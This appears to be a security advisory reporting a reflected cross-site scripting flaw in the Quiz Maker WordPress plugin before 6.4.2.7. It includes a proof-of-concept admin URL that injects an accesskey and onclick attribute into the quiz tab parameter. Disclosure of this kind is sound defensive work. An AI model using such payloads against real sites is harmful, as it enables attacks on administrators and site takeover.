Quiz Maker < 6.4.2.7 - Reflected XSS

The plugin does not escape some parameters before outputting them back in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin

PoC

Make a logged in admin open the URL below (other URL are also affected) https://example.com/wp-admin/admin.php?page=quiz-maker-settings&amp;ays;_quiz_tab=" accesskey=X onclick=alert(/XSS/)// The XSS will be triggered when pressing ALT+SHIFT+X on Windows and CTRL+ALT+X on OS X